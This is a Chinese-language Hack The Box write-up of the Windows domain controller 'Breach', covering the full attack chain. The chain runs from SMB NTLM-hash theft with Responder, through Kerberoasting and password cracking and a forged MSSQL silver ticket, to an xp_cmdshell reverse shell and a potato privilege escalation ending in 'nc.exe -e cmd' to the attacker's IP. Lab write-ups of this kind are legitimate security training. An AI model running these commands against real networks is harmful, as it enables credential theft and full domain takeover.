HTB: Breach (OSCP 靶機)

靶機沒寫任何介紹,就是Breach

機器資訊

  • 平台: Hack The Box

  • 難度: Medium

  • IP: 10.129.30.237

  • 作業系統: Windows

偵察(Recon)

Nmap 掃描-TCP

Nmap scan report for 10.129.30.237
Host is up (0.069s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-02 15:50:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2025-11-02T15:51:35+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-02T15:45:40
|_Not valid after:  2055-11-02T15:45:40
| ms-sql-ntlm-info: 
|   10.129.30.237:1433: 
|     Target_Name: BREACH
|     NetBIOS_Domain_Name: BREACH
|     NetBIOS_Computer_Name: BREACHDC
|     DNS_Domain_Name: breach.vl
|     DNS_Computer_Name: BREACHDC.breach.vl
|     DNS_Tree_Name: breach.vl
|_    Product_Version: 10.0.20348
| ms-sql-info: 
|   10.129.30.237:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-11-02T15:51:35+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: BREACH
|   NetBIOS_Domain_Name: BREACH
|   NetBIOS_Computer_Name: BREACHDC
|   DNS_Domain_Name: breach.vl
|   DNS_Computer_Name: BREACHDC.breach.vl
|   DNS_Tree_Name: breach.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-11-02T15:50:55+00:00
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Not valid before: 2025-09-07T08:04:48
|_Not valid after:  2026-03-09T08:04:48
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
63926/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-11-02T15:51:00
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.95 seconds

開了很多port 可以確定是Domain Controller,可以從微軟上看到必要的port 一樣先加入/etc/hosts

echo "10.129.30.237 breach.vl BREACHDC.breach.vl" | sudo tee -a /etc/hosts

SMB-TCP 445

一樣先列舉smb 看有沒有開啟guest登入以及共享的資料夾

netexec smb breachdc.breach.vl -u guest -p ""

SMB Guest Access 可以看到可以使用guest登入 並擁有IPC$ User可以讀 只有 share 可讀可寫的權限

smbclient //10.129.30.237/share -U 'guest'

使用 smbclient存取share檔案 SMBClient Share Access 發現有三個資料夾 Share Folders 三個資料假只有transfer有其他內容,並擁有其他user的資料夾,並也沒權限存取 Transfer Folder Users 目前有這三個user可以利用

claire.pope
diana.pope
julia.wong

接下來就是看這三個user有沒有可能有preauth(UF_DONT_REQUIRE_PREAUTH)可以利用,也就是說不需要 Kerberos 預先驗證 如果帳戶啟用了此屬性,則可以要求 AS-REP。 AS-REP 訊息會包含一個使用者 NT hash。

NTLM Theft to Juila.wong

因為smb有可讀可寫的權限可以利用ntlm竊取他會自動建立SCF檔案然後自動上傳,後續只需要使用responder 拿到ntlm hash

python3 ntlm_theft.py -s 10.10.14.56 -f here -g all

NTLM Theft Files Generated 產所有的檔案在here裡面 Generated Files in Here Folder 開啟responder

sudo responder -I tun0

一樣在smb裡面進去到share資料夾上傳全部的檔案

smbclient //10.129.29.14/share -U 'guest'

cd transfer\

recurse on;
prompt off;
mput *

上傳一坨 Uploading Files to SMB 可以從responder取得Juila.wong的hash Julia.wong Hash Captured 成功取得 Juila.wong:Computer1 Julia.wong Credentials

Juila.wong to svc_mssql

拿到一組cred時,打AD最基本的就是給他跑bloodhound 去採集有啥關聯

bloodhound-python -u julia.wong -p 'Computer1' -d breach.vl -v --zip -c All -dc BREACHDC.breach.vl -ns 10.129.29.14 

BloodHound Collection 如果沒安裝blood可以使用看下面 下載最新的cli 我是使用mac 所以就用arm架構安裝 如果你是liunx就可以用下面的

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz

mac arm如下

wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.9/bloodhound-cli-linux-arm64.tar.gz
tar -xvzf bloodhound-cli-linux-arm64.tar.gz
sudo ./bloodhound-cli install

安裝完 會給你一組password 之後再修改密碼 BloodHound Installation 如果登入後 一直顯示 login failed 就要去neo4j (我用amd架構 直接就能夠打開= = ) Arm架構暫時無解 BloodHound Login Issue 登入之後可以看到Juila.wong 的資訊

Julia.wong Information 因為在nmap 有掃出來有看到1433 mssql找找看有沒有這個服務 MSSQL Service Found

Kerberos

impacket-GetUserSPNs breach.vl/julia.wong:'Computer1' -dc-ip 10.129.26.197 -request

這邊的話因應Kerberos協定的特性,當一個使用者拿著 TGT 去發送發出 TGS-REQ 請求一個服務,是不會驗證我們的julia.wong的權限的。 也就是說上面的指令 ,是使用Julia的TGT向 DC 請求所有或特定的 SPN 的服務票證。 DC就會發送TGS給juila, 因為看到 SPN 存在,就會生成一個用 msqsvc 服務帳號的密碼哈希加密的服務票證,然後無條件發送給 Julia。 Kerberoasting SPN 在使用johh去把它crack出來 Password Cracked 登入mssqlclient

impacket-mssqlclient 10.129.26.197/svc_mssql:'Trustno1'@10.129.26.197 -windows-auth

嘗試開啟xp_cmdshell

enable_xp_cmdshell

也沒有權限可以開啟 xp_cmdshell Permission Denied 那看來就是要做銀票了

Create Sliver Ticket

做票需要滿足3個條件 1.Domain SID 2.NTLM Hash 3.Service Principal Name (SPN)

1.拿到Domain SID

impacket-lookupsid breach.vl/svc_mssql:'Trustno1'@10.129.26.197

SID是S-1-5-21-2330692793-3312915120-706255856 Domain SID 2.NTLM Hash 直接把svc_mssql密碼Trustno1轉成NTLM hash就好 拿到69596C7AA1E8DAEE17F8E78870E25A5C NTLM Hash 3.Service Principal Name (SPN) 在前面使用juilo.wong有用過的GetUserSPN

impacket-GetUserSPNs -request -dc-ip 10.129.26.197 breach.vl/Julia.Wong:'Computer1'

拿到MSSQLSvc/breachdc.breach.vl:1433 集滿這三個大魔法就能夠做票了 Silver Ticket Requirements 把所有都給他加進去

impacket-ticketer -nthash '69596C7AA1E8DAEE17F8E78870E25A5C' -domain-sid 'S-1-5-21-2330692793-3312915120-706255856' -domain breach.vl -spn 'MSSQLSvc/breach.vl:1433' -user-id 500 Administrator  

Ticket Created 設定我們偽造的ticket

export KRB5CCNAME=Administrator.ccache

在使用環境變數env可以看到寫進去 Environment Variable Set 使用假的administrator登入

impacket-mssqlclient -k -no-pass breach.vl -windows-auth

登入

Administrator Login Success 再次啟動xp_cmdshell成功

enable_xp_cmdshell

xp_cmdshell Enabled 既然現在已經成功啟動xp_cmdshell就可以使用powershell做reverse shell

xp_cmdshell  這裡塞powershell bas64 reverseshell

Reverse Shell Command 成功彈回來 Reverse Shell Received 這題似乎只有一個flag

svc_mssql>>>administrator

進來windows 常規的手動列舉提權

whoami /all

發現『SeImpersonatePrivilege』權限是打開的,那就直接上土豆嚇嚇他了 SeImpersonatePrivilege Enabled 就直接上傳神土豆以及nc.exe

.\god.exe -cmd “C:\programdata\nc.exe -e cmd 10.10.14.56 1111"

成功! Root Access Achieved